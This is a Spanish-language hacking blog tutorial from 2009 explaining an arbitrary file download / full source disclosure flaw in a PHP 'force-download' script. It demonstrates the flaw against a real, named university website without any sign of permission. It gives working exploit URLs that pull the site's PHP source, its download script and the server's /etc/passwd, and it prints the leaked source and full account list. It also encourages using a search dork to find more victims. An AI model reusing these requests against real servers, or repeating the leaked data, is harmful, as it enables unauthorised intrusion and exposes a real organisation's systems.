miércoles 30 de diciembre de 2009

Arbitary Download+Full Source Disclosure

Full Source Disclosure.



0x01. Introducción



En DDLR ya algunos habrán leído mi tutorial sobre “Full Path Disclosure”, bueno, ahora les vengo hablar un poco de otra vulnerabilidad llamada “Full Source Disclosure” que ha estado un poco polémico en #DDLR, gracias al video de 0o_Zeus_o0 muy bueno la verdad y el post de Gothic-x también excelente.

Esta vulnerabilidad ya la había leído un poco antes, pero bueno, les hare un tuto, viendo que muchos les intereso este tema.



0x02. ¿Qué es Arbitrary Downloader y Full Source Disclosure o FSD?




Arbitrary Downloader para descargar cualquier archivo del servidor junto con Full Source Disclosure que ve el CODIGO COMPLETO es una vulnerabilidad MUY vista por así decirlo todavía en la RED, y se encarga de descargar cualquier fichero del servidor sin estar logeado o tener permiso alguno, y con esto podemos ver el CODIGO FUENTE (SOURCE) de este para sacar mucha información, pero no es lo mismo darle al index.php “VER CODIGO FUENTE” en tu navegador, que con verla en esta vulnerabilidad, ya que este muestra el código ORIGINAL del servidor.



Esta vulnerabilidad se debe a la mala programación de las variables especiales para descargar un archivo interno, permitiéndonos descargar cualquier archivo del servidor sin estar logeado o tener permisos como dije arriba.



Gracias al DORK creado por Gothic-x podrán encontrar muchos websites vulnerables y también encontré uno para explicar en este tutorial.





0x03. Practica




La web que usaremos de ejemplo seria esta: “http://www.favaloro.edu.ar”, el site de un medico argentino (Gracias KikoArg).




Primero me paso a descargar el “index” para que vean la diferencia entre “SOURCE DISCLOSURE” y “VER CODIGO FUENTE DESDE EL NAVEGADOR”:



FULL SOURCE DISCLOSURE:

Pasamos hacer que el servidor nos descargue el index principal que sería:

http://www.favaloro.edu.ar/force-download.php?file=index.php



Lo descargamos y lo abrimos con nuestro editor:







VER CODIGO FUENTE:








No sale completo como pueden ver en la barra, pero igual pueden notar que es diferente muy diferente, por eso se le llama “FULL SOURCE”

Esta simple vulnerabilidad puede llegar a ser muy muy peligrosa, ya que podemos descargar “CUALQUIERRR” fichero del servidor, pero claro, poniendo el directorio hasta el fichero:



http://localhost/descargas.php?file=config.php

http://localhost/descargas.php?file=/admin/datos.php

Ya queda de tu conocimiento de un servidor o para sacar datos, podemos usarlo si es que el servidor es vulnerable otra vulnerabilidad llamada “FULL PATH DISCLOSURE”, entre otras cosas.

Como vimos en el código fuente del “index.php” desde FULL SOURCE DISCLOSURE, podemos ver otros directorios donde podemos acceder y sacar muchas cosas como:




inc/principal.php:



<? require_once('/2009/12/cnx/cnx.html');
$principal = "SELECT * FROM novedades WHERE (PortadaNovedades = 2) OR (PortadaNovedades = 3)
ORDER BY OrdenNovedades ASC LIMIT 0,5";
$principal2 = mysql_query($principal,$link);
?>
<div id="content">
<div id="novedades">
<div id="carrera">
<div class="principal-foto">
<p class="quote-it"><img src="/2009/12/images/favaloro3.jpg" align="left" />
&quot;A los j&oacute;venes les pido que entiendan que lo material es temporario, lo que perdurar&aacute;
para siempre ser&aacute;n los ideales y entre ellos la gran convocatoria deber&iacute;a ser:
educaci&oacute;n y desarrollo cient&iacute;fico en busca de una sociedad en la que la equidad social sea lo prioritario&quot;.</p>

<p class="allign-right"> Dr. Ren&eacute; G. Favaloro, Tel Aviv, Israel, 1995<br />
Fotografia: Miguel Angel Generoso</p>
</div>
<div class="nov-box"> <h1></h1>

<script src="/2009/12/Scripts/AC_RunActiveContent.js" type="text/javascript"></script>
<script type="text/javascript">
AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','width','645','height','140','src','images/banner_general_645x140-1009','quality','high','pluginspage','http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','images/banner_general_645x140-1009' ); //end AC code
</script><noscript><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="645" height="140">
<param name="movie" value="/2009/12/images/banner_general_645x140_1009.swf">
<param name="quality" value="high">
<embed src="/2009/12/images/banner_general_645x140_1009.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="645" height="140"></embed>

</object>
</noscript></div>
<?
while($principal3 = mysql_fetch_array($principal2)) {
echo "<div class=\"nov-box\">";
echo "<h1>".$principal3['TitulosNovedades']."</h1>";
echo "<p>".$principal3['CopeteNovedades']."</p>";
echo "<div class=\"nov-foot\"><a href=\"";
if ($principal3['LinkNovedades']=="") {
echo "?inc=novedades&IDNovedades=".$principal3['IDNovedades'];
} else {
echo $principal3['LinkNovedades'];
}
echo "\">mas informaci&oacute;n</a></div>";echo "</div>";
}?>

</div></div></div>




Algunos se preguntaran si sirven otros archivos como “/etc/passwd”, pues si, ejemplo:



http://www.favaloro.edu.ar/force-download.php?file=/etc/passwd



root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
postgres:x:31:32:postgres:/var/lib/postgres:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
admin:x:1000:1000:,,,:/home/admin:/bin/bash
identd:x:100:65534::/var/run/identd:/bin/false
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
telnetd:x:102:102::/nonexistent:/bin/false
mysql:x:1002:100::/home/mysql:/bin/bash
ftp:x:103:65534::/home/ftp:/bin/false
alias:x:1003:1002::/var/qmail/alias:/sbin/nologin
qmaild:x:1004:1002::/var/qmail:/sbin/nologin
qmaill:x:1005:1002::/var/qmail:/sbin/nologin
qmailp:x:1006:1002::/var/qmail:/sbin/nologin
qmailq:x:1007:1003::/var/qmail:/sbin/nologin
qmailr:x:1008:1003::/var/qmail:/sbin/nologin
qmails:x:1009:1003::/var/qmail:/sbin/nologin
vpopmail:x:1010:1004::/home/vpopmail:/sbin/nologin
bind:x:104:101::/var/cache/bind:/bin/false
favaloro:x:1014:100::/usr/local/apache2/htdocs/www.favaloro.edu.ar:/bin/bash
fundacion:x:1015:100::/usr/local/apache2/htdocs/www.fundacionfavaloro.org:/bin/bash
posgrado:x:1016:100::/usr/local/apache2/htdocs/www.favaloro.edu.ar/posgrado:/bin/bash
webmaster:x:1017:100::/usr/local/apache2/htdocs/:/bin/bash
gmj:x:1001:100::/home/gmj:/bin/bash
gaston:x:1018:0:GASTON:/home/gaston:/bin/bash
itfurf:x:1019:1006::/usr/local/apache2/htdocs/it.furf.com.ar/:/bin/bash
furf:x:1020:1007::/usr/local/apache2/htdocs/www.furf.com.ar:/bin/bash
hobbit:x:1021:1008::/usr/local/hobbit/:
backupfurf:x:1012:1012:,,,:/backup:/bin/bash
pricai:x:1013:1013:,,,:/usr/local/apache2/htdocs/pricai.com.ar:/bin/bash
ns1:x:1024:100::/home/ns1:
cei:x:1026:1026:,,,:/usr/local/apache2/htdocs/www.favaloro.edu.ar/COMUNICA:/bin/bash
congreso:x:1027:1027:,,,:/usr/local/apache2/htdocs/congresos.fundacionfavaloro.org:/bin/bash
cye:x:1025:1025:,,,:/usr/local/apache2/htdocs/www.fundacionfavaloro.org/cye:/bin/bash
proftpd:x:105:65534::/var/run/proftpd:/bin/false
favaloroftp:x:1029:1029:,,,:/usr/local/apache2/htdocs/www.favaloro.edu.ar/ftp:/bin/bash
ffavaloroftp:x:1030:1030:,,,:/usr/local/apache2/htdocs/www.fundacionfavaloro.org/ftp:/bin/bash
favaloro2:x:1031:50::/usr/local/apache2/htdocs/www2.favaloro.edu.ar:/bin/bash
ossec:x:1034:1034::/var/ossec:/bin/false
trimestral:x:1035:1035:,,,:/backup/trimestral:/bin/bash
campanas:x:1036:100::/usr/local/apache2/htdocs/www.favaloro.edu.ar/campanas:/bin/bash
dev:x:1022:1022:,,,:/usr/local/apache2/htdocs/dev.favaloro.edu.ar:/bin/bash
cuidatucorazon:x:1011:1011:,,,:/usr/local/apache2/htdocs/www.fundacionfavaloro.org/cuidatucorazon:/bin/bash
elvestuario:x:1023:1023:,,,:/usr/local/apache2/htdocs/www.favaloro.edu.ar/elvestuario:/bin/bash




Y muchas cosas más…




0x04. ¿Dónde está el Bug?



Bueno, no sigo mas, ya que no hay mucho que hablar, pero es bueno para los programadores y pentesters donde está el bug, pasaremos a descargar un archivo interesante: http://www.favaloro.edu.ar/force-download.php?file=force-download.php



<?php

$filename = $_GET['file'];

// required for IE, otherwise Content-disposition is ignored
if(ini_get('zlib.output_compression'))
ini_set('zlib.output_compression', 'Off');

// addition by Jorg Weske
$file_extension = strtolower(substr(strrchr($filename,"."),1));

if( $filename == "" )
{
echo "<html><title>eLouai's Download Script</title><body>ERROR: download file NOT SPECIFIED. USE force-download.php?file=filepath</body></html>";
exit;
} elseif ( ! file_exists( $filename ) )
{
echo "<html><title>eLouai's Download Script</title><body>ERROR: File not found. USE force-download.php?file=filepath</body></html>";
exit;
};
switch( $file_extension )
{
case "pdf": $ctype="application/pdf"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/vnd.ms-excel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
case "jpg": $ctype="image/jpg"; break;
default: $ctype="application/force-download";
}
header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers
header("Content-Type: $ctype");
// change, added quotes to allow spaces in filenames, by Rajkumar Singh
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
readfile("$filename");
exit();

?>





Pueden notar que el archivo, no tiene validación protección “$filename = $_GET['file'];” y permite la descarga de cualquier archivo que se le ponga.





0x05. Conclusión




Bueno termine mi tuto, de esta vulnerabilidad no hay mucho que hablar, pero es bueno un tutorial, para los que no tienen idea de esto y puedan ver la FUERZA de esta vulnerabilidad tan peligrosa y buena, ya que es muy fácil y no es necesario hacer algo especial como otros métodos.



Si quieren saber mas de este método, pueden buscar en google y también los links que voy a dejar abajo.



0x06. Links interesantes


Video de 0o_ZeuS_o0 sobre esta vulnerabilidad (En el tutorial dice “FULL PATH DISCLOSURE”, pero es “FULL SOURCE” un error de escritura jeje).

http://www.youtube.com/watch?v=3c-pojLunmY&feature=player_embedded



Explotando Full Source Diclosure Bugueando "/2009/12/force_download.html" de Gothic-x.

http://gothicx.diosdelared.com/?coment=3762



Màs de Full Source Diclosure de Gothic-x.

http://gothicx.diosdelared.com/?coment=3759



Ilegalintrusion - #DDLR - #RE - GH - Seguridadblanca




Autor: Zero Bits

Fecha: 15/11/09